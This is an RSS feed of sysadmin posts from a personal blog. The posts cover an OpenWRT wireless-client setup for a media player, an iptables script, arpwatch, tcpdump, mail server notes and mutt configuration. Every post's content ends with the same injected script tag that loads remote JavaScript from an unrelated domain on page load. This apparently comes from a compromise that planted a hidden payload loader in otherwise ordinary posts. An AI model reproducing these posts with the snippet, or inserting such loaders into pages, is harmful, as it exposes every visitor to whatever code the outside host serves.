<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; sysadmin</title>
	<atom:link href="http://www.larsen-b.com/tags/sysadmin/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Media Player (Dvico 3100) + Netgear WGT634U = Cheap Wifi Media Player</title>
		<link>http://www.larsen-b.com/Article/258.html</link>
		<comments>http://www.larsen-b.com/Article/258.html#comments</comments>
		<pubDate>Thu, 05 Apr 2007 21:10:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This year, for my birthday I have a very nice Media Player M3100. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know.. The &#8230; <a href="http://www.larsen-b.com/Article/258.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This year, for my birthday I have a very nice Media Player <a class="reference" href="http://www.tvix.co.kr/eng/Products/M3100U.aspx">M3100</a>. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know..</p>
<p>The only issue: I need to take it back to my computer when I want to upload a new film, that&#8217;s it .. When I first received this gift, I went back to the shop to exchange it against a networked one. But 1) they cost a lot more money, 2) not available at the shop. (even if it&#8217;s a really big one).</p>
<p>Last week, somebody sent me a mail. He found some cheap wireless access point with a USB port: Netgear <a class="reference" href="http://kbserver.netgear.com/products/WGT634U.asp">WGT634U</a>. (50Euro) Hum, ok let&#8217;s give it a try. First test, plug a Media Player to this USB port&#8230; ok It&#8217;s working fine. But you know, I don&#8217;t have a network cable near my bed, so I decided to transform the Access Point in a Wireless client. By this way, I can simply plug the Media Player on the WGT634U and remotely put some Divx via FTP, without any wire.</p>
<div id="step-1-install-openwrt" class="section">
<h1><a name="step-1-install-openwrt">Step 1 / Install OpenWRT</a></h1>
<p>The default firmware on the WGT634 doesn&#8217;t support wireless client mode (It&#8217;s a AP). So I switched it to <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT634U">OpenWRT</a> Kamikaze. I build the firmware from source, but the kamikaze snapshot shoud work too. I followed the OpenWRT guide step by step with a external serial plug. You can find the complete howto for the serial connection <a class="reference" href="http://members.shaw.ca/swstuff/wgt634u.html">here</a></p>
<pre class="literal-block"># hit Ctrl-C on the bootloader
CFE&gt; ifconfig eth0 -auto
CFE&gt; flash -noheader tftp_host:openwrt-wgt634u.bin flash0.os
CFE&gt; reboot</pre>
<p>The first boot is a bit long, but all is fine&#8230;</p>
</div>
<div id="step-2-install-tools" class="section">
<h1><a name="step-2-install-tools">Step 2  / Install tools</a></h1>
<p>Here the short list of needed tools:</p>
<ul class="simple">
<li>kmod-usb2</li>
<li>kmod-usb-storage</li>
<li>kmod-vfat</li>
<li>kmod-nls-base, kmod-nls-cp437, kmod-nls-iso8859-1</li>
<li>pure-ftpd</li>
</ul>
<p>with a simple ipkg install via the serial console</p>
</div>
<div id="step-3-configure-openwrt-in-wireless-client" class="section">
<h1><a name="step-3-configure-openwrt-in-wireless-client">Step 3 / Configure OpenWRT in wireless client</a></h1>
<p>This is really simple in kamikaze, only change some files:</p>
<p>The wireless config file need to be tweaked, as I want it to join my MyDummySSID network</p>
<p><em>/etc/config/wireless</em></p>
<pre class="literal-block">config wifi-iface
option device   wifi0
option network  lan
option mode     sta
option ssid     MyDummySSID
option hidden   0
option encryption none</pre>
<p>Let&#8217;s go for the network config: MyDummySSID Access Point is 192.168.3.0/24, gateway in 3.1 and local DNS server is 1.254</p>
<p><em>/etc/config/network</em></p>
<pre class="literal-block">#### LAN configuration
config interface lan
option type     bridge
option ifname   "eth0.0"
option proto    'static'
option ipaddr   '192.168.3.2'
option netmask  '255.255.255.0'
option gateway  '192.168.3.1'
option dns      '192.168.1.254'</pre>
<p>First test: <em>ifdown wan</em> (switch off network) / <em>ifdown br-lan</em> / <em>ifup br-lan</em></p>
</div>
<div id="step-4-firewall" class="section">
<h1><a name="step-4-firewall">Step 4 / Firewall</a></h1>
<p>Ok that&#8217;s fine, but I want to restrict the access to my local network only.. so I need to hack the firewall a little to avoid remote access from other wireless clients (my wireless network is open you know..). Simply linked this little script in /etc/rc.d/</p>
<p><em>/opt/ftp-firewall</em></p>
<pre class="literal-block">#!/bin/sh

# clear all firewall rules
for T in filter nat mangle ; do
iptables -t $T -F
iptables -t $T -X
done

# drop incomming packet
iptables -P FORWARD ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P INPUT   DROP

# accept traffic on localhost
iptables -A INPUT -p tcp -i lo -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT

# accept ftp only from my home network
iptables -A INPUT -s 192.168.1.0/24 -p tcp -i br-lan --dport 21 -j ACCEPT

# accept incoming http / ssh
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# finaly accept already open Cnx
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
</div>
<div id="step-5-misc" class="section">
<h1><a name="step-5-misc">Step 5 / Misc</a></h1>
<p>After some tests, I discover that I need a way to know if the WGT634U managed to join the wireless network or no. So I added this little script, that check for the wireless BSSID, and turn the power led in yellow if something goes wrong .. this is really usefull in fact.</p>
<p><em>/opt/led-daemon</em></p>
<pre class="literal-block">#!/bin/sh

while true
do
{
STATE=$(iwconfig ath0 |grep  00:13:13:53:DA:D1 | wc -l)
[ $STATE -eq 1 ] &amp;&amp; echo 0 &gt; /proc/diag/led/power
[ $STATE -eq 0 ] &amp;&amp; echo 1 &gt; /proc/diag/led/power
sleep 20
}
done</pre>
<p>Foo</p>
</div>
<div id="step-6-finally" class="section">
<h1><a name="step-6-finally">Step 6 / Finally</a></h1>
<p>Here the result:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" /></div>
<p>The finished product (grrr) works really fine and managed to achieve something like 850Ko/sec, I mean full speed ;) (11Mbs network) I need to remove the serial port right now, and close the box..</p>
<p><strong>Important update</strong></p>
<p>I read on Engadget that I use this to stream video to my TV, (like the Apple TV do), but this is absolutely wrong. This media player has a <strong>320Go hard-drive</strong>. Why would stream film on this ? I just put it on that&#8217;s it :)</p>
<p>This is really amazing how people doesn&#8217;t read the article to see what I&#8217;ve done. It&#8217;s not the first time this happen in fact.</p>
<p>Here in France, most advanded users have some network TV from a long time, and this little boxes can play network stream (like the Apple TV) for a long time now. Beside you don&#8217;t pay for this service (rent for the boxes are included in DSL bill), the only issue is that you must have another computer to stream.</p>
<p>I guess nobody here (in France) would by a Apple TV, since we already have this kind of products for free for a long time. Look at a <a class="reference" href="http://fr.wikipedia.org/wiki/Freebox">Freebox</a> for example.</p>
<p><strong>It&#8217;s time to watch a film :)</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/258.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Arpwatch on WRT54G</title>
		<link>http://www.larsen-b.com/Article/203.html</link>
		<comments>http://www.larsen-b.com/Article/203.html#comments</comments>
		<pubDate>Thu, 12 May 2005 15:22:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose. I decided to run arpwatch on my linksys access point, &#8230; <a href="http://www.larsen-b.com/Article/203.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose.<br />
I decided to run arpwatch on my linksys access point, but this is not so easy ..</p>
<div id="mail" class="section">
<h1><a name="mail">1) Mail</a></h1>
<p>First you need to have sendmail on the WRT. So install mini_sendmail. Add a file <strong>/usr/sbin/sendmail</strong> that contains:</p>
<pre class="literal-block">#!/bin/sh
/usr/sbin/mini_sendmail -t -sIP_of_your_mail_relay</pre>
<p>Check that it &#8216;s working..</p>
</div>
<div id="arpwatch" class="section">
<h1><a name="arpwatch">2) Arpwatch</a></h1>
<p>Run arpwatch on the WRT throught this script:</p>
<pre class="literal-block">#!/bin/sh
IFNAME=$(nvram get wifi_ifname)

case $1 in
start)
touch /tmp/arpwatch.dat
arpwatch -f /tmp/arpwatch.dat -i $IFNAME
;;
stop)
killall arpwatch
;;
*)
echo "usage: $0 (start|stop)"
exit 1
esac

exit $?</pre>
</div>
<div id="check" class="section">
<h1><a name="check">3) Check</a></h1>
<p>Wait a bit, connect to your wifi, look at your email on the gateway. (<a class="reference" href="mailto:root@gw">root@gw</a>) you will see something like this:</p>
<pre class="literal-block">From: root@openwrt.local.net
Subject: new station

hostname: &lt;unknown&gt;
ip address: 192.168.2.1
ethernet address: 0:f:66:c7:b5:b1
ethernet vendor: &lt;unknown&gt;
timestamp: Tuesday, January 18, 2000 14:34:01 +0000</pre>
<p>Enjoy :)</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/203.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Tcpdump rules !</title>
		<link>http://www.larsen-b.com/Article/193.html</link>
		<comments>http://www.larsen-b.com/Article/193.html#comments</comments>
		<pubDate>Sun, 06 Feb 2005 10:44:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Tcpdump is clearly one of my favorite tool. Here a little example to filter the traffic of my OSPF router. tcpdump -i eth0 ip[9] == 89 And the result: 12:43:48.219432 IP p2b.soif.fr &#62; OSPF-ALL.MCAST.NET: OSPFv2, Hello (1), length: 48 12:43:48.560817 &#8230; <a href="http://www.larsen-b.com/Article/193.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Tcpdump is clearly one of my favorite tool. Here a little example to filter the traffic of my OSPF router.</p>
<pre class="literal-block">tcpdump -i eth0 ip[9] == 89</pre>
<p>And the result:</p>
<pre class="literal-block">12:43:48.219432 IP p2b.soif.fr &gt; OSPF-ALL.MCAST.NET: OSPFv2, Hello (1), length: 48
12:43:48.560817 IP wrt.soif.fr &gt; OSPF-ALL.MCAST.NET: OSPFv2, Hello (1), length: 48</pre>
<p>Wonderfull no ? :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/193.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Full featured SMTP in Python ?</title>
		<link>http://www.larsen-b.com/Article/154.html</link>
		<comments>http://www.larsen-b.com/Article/154.html#comments</comments>
		<pubDate>Wed, 01 Sep 2004 21:34:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a recent post Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the &#8230; <a href="http://www.larsen-b.com/Article/154.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a recent <a class="reference" href="http://blog.colorstudy.com/ianb/weblog/2004/08/31.html#P153">post</a> Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the mail between. This setup is really easy because Postfix just accept incomming mail, and maildrop deliver it in the right imap folders. By this way, i only have to tweak maildrop to add some users. And works fine with virtualhost. In my current setup, i&#8217;m using a home-made spambayes deamon (<a class="reference" href="http://www.larsen-b.com/Article/112.html">sb_global_server</a>), to spam-tag all incomming mail. (even for virtual host users)</p>
<p>Now, i need to setup a mailing list manager&#8230; and issues are back again :( I read the mailman howto, and no, it doesn&#8217;t support virtual-hosting out-of-the-box. Play with a bunch of alias? no thanks&#8230; I can use another one of course, but intregation w/ postfix is not so-trivial for most of them.</p>
<p>So why not write a full featured SMTP daemon in Py? We will get:</p>
<ul class="simple">
<li>a system that can scale easily ..</li>
<li>support for most of db-backend without a pain</li>
<li>can embed spambayes .. or any other filtering system in only one piece of code ..</li>
<li>only one users configuration (not to use LDAP or others to glue..)</li>
</ul>
<p>Right now, if you want to have a good mail system you need to use a bunch of stuffs, written in a bunch of langage .. and use a bunch of tricks to glue each others&#8230; But everybody wants a nice/simple mail system ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/154.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Blog post / Mutt IMAP Cache Vs Courier-Cone ?</title>
		<link>http://www.larsen-b.com/Article/140.html</link>
		<comments>http://www.larsen-b.com/Article/140.html#comments</comments>
		<pubDate>Sat, 31 Jul 2004 04:02:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mutt]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[The thing every blogger likes: Comments ? No ? Really ? Anyways, i just added a RSS comment Feed to this blog. (No I won&#8217;t put the url somewhere since NewsAggregators eat a bunch of bandwith only to see nobody &#8230; <a href="http://www.larsen-b.com/Article/140.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>The thing every blogger likes: Comments ? No ? Really ?</p>
<p>Anyways, i just added a RSS comment Feed to this blog. (No I won&#8217;t put the url somewhere since NewsAggregators eat a bunch of bandwith only to see nobody post, i will only give it to friends .. :)</p>
<p>But, this is not the main stuff, while browsing this RSS feed i discover one interesting comment about Mutt and IMAP cache. I now use <strong>courier-cone</strong> (no-url-yet) and it pretty cool and happy w/ IMAP. I like the IMAP Adressbook system which is really pleasant to use. Anyway check out this <a class="reference" href="http://www.larsen-b.com/Article/97.html">post</a> if you want to test the <strong>new imap cache for mutt</strong>, and thanks Glanzmann for the post :)</p>
<p>For lazy readers the patch is <a class="reference" href="http://wwwcip.informatik.uni-erlangen.de/~sithglan/mutt/">here</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/140.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SpamBayes server compliant w/ spamassassin</title>
		<link>http://www.larsen-b.com/Article/112.html</link>
		<comments>http://www.larsen-b.com/Article/112.html#comments</comments>
		<pubDate>Sat, 24 Apr 2004 20:10:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd). &#8230; <a href="http://www.larsen-b.com/Article/112.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd).</p>
<p>So the first try:</p>
<ul class="simple">
<li>install spamassassin :) .. This mail filtering is just a bulshit ! Even w/ the training done on a mail, it achieve to deliver it as &#8216;unsure spam&#8217; !!</li>
<li>put spamassin away .. but keep piece :)</li>
</ul>
<p>I first decided to write another client / server for spambayes. but looking at all the stuff writen in spamc (spamassassin client) i discover i will need a lot of nights (i&#8217;m not a C guru . even if the little try i wrote works perferctly )</p>
<p>Nice try, but why i shouldn&#8217;t simply write a server that use spamc as client ? .. could be really easy and efficient too (spamc is really efficient) ..</p>
<p>i just finish to write <a class="reference" href="http://mail.python.org/pipermail/spambayes-dev/2004-April/002748.html">this</a> and  submit to the dev list<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/112.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Mail Archives / mdirarchive.py</title>
		<link>http://www.larsen-b.com/Article/110.html</link>
		<comments>http://www.larsen-b.com/Article/110.html#comments</comments>
		<pubDate>Mon, 19 Apr 2004 13:06:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Since i totally switched my mail system to imap, i&#8217;m looking for a way to keep the folders &#8216;small as possible&#8217;. I talked w/ Phil about this, and he (http://base-art.net/wk/Article/3.html) hacked a existing python script. The main difference between his &#8230; <a href="http://www.larsen-b.com/Article/110.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Since i totally switched my mail system to imap, i&#8217;m looking for a way to keep the folders &#8216;small as possible&#8217;. I talked w/ Phil about this, and he (<a class="reference" href="http://base-art.net/wk/Article/3.html">http://base-art.net/wk/Article/3.html</a>) hacked a existing python script. The main difference between his hack and the orginal one, is that now the folder are archived in a &#8216;normal&#8217; way.</p>
<p>This should only work w/ courier-imap server but this is the one i use :) . I can now read mailing archive without too much pain !<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/110.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing courier-imap</title>
		<link>http://www.larsen-b.com/Article/100.html</link>
		<comments>http://www.larsen-b.com/Article/100.html#comments</comments>
		<pubDate>Sun, 29 Feb 2004 13:40:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I spent part of the day to install a virtual mail server, and i discover that there is a really simple way to secure courier-imap. By defaut when you use this kind of server the auth is made against the &#8230; <a href="http://www.larsen-b.com/Article/100.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent part of the day to install a virtual mail server, and i discover that there is a really simple way to secure courier-imap. By defaut when you use this kind of server the auth is made against the standard pam module. This is really simple, but what happend if someone is able to read your imap password. Yes he get the account password.</p>
<p>Courier imap can do the auth against a lot of stuff. Simply change the authmodulelist=authpam to authmodulelist=authuserdb. This will use the file /etc/courier/userdb.</p>
<pre>userdb "username" set home=/home/username
                      mail=/home/username/Maildir
                      uid=UID gid=GID
userdbpw | userdb "username" set imappw
makeuserdb</pre>
<p>So now you can use a different password for your account and your imap, and you can choose who can access to imap server.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/100.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Enjoy Mutt</title>
		<link>http://www.larsen-b.com/Article/97.html</link>
		<comments>http://www.larsen-b.com/Article/97.html#comments</comments>
		<pubDate>Wed, 18 Feb 2004 21:50:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I get it! I managed to use mutt w/ my imap folders, with hooks and everything fine. This is not really hard, but : libsas-modules break the SSL certification (without any error message) mutt really lack of header cache for &#8230; <a href="http://www.larsen-b.com/Article/97.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I get it! I managed to use mutt w/ my imap folders, with hooks and everything fine. This is not really hard, but :</p>
<ul class="simple">
<li>libsas-modules break the SSL certification (without any error message)</li>
<li>mutt really lack of header cache for imap (there is a patch for Maildir but no for imap)</li>
</ul>
<pre class="literal-block">### IMAP ########################################
set imap_user="jkx"
set spoolfile=imaps://mail.larsen-b.com/
set folder=imaps://mail.larsen-b.com/INBOX
set record=imaps://mail.larsen-b.com/INBOX.Sent
mailboxes  imaps://mail.larsen-b.com/

### Hooks #######################################
folder-hook INBOX.Sent 'set index_format="%4C %Z %{%b %d} %-20.20t (%41) %s"'
folder-hook INBOX.JOB my_hdr From: XXXXX &lt;XXXX@job.fr&gt;</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/97.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Pam_USB</title>
		<link>http://www.larsen-b.com/Article/70.html</link>
		<comments>http://www.larsen-b.com/Article/70.html#comments</comments>
		<pubDate>Fri, 19 Dec 2003 06:13:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Pam_USB is a pam_module that allow you to log in w/ a usb-key (or a cdrom/ floppy .. any removable device w/ a serial number or a free space to hold DSA keys.) This is pretty kool since, this kind &#8230; <a href="http://www.larsen-b.com/Article/70.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a class="reference" href="http://www.sig11.org/~al/pam_usb/">Pam_USB</a> is a pam_module that allow you to log in w/ a usb-key (or a cdrom/ floppy .. any removable device w/ a serial number or a free space to hold DSA keys.)</p>
<p>This is pretty kool since, this kind of stuff can be usefull. I think about:</p>
<ul class="simple">
<li>security of course ( using Additional directive )</li>
<li>or usefull ( for example in POS &#8230;)</li>
</ul>
<p>Anyway i will install this on my notebook since I use it a lot and I can&#8217;t always trust the potential users. ( I usually leave it w/ xlock at my work. )<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/70.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
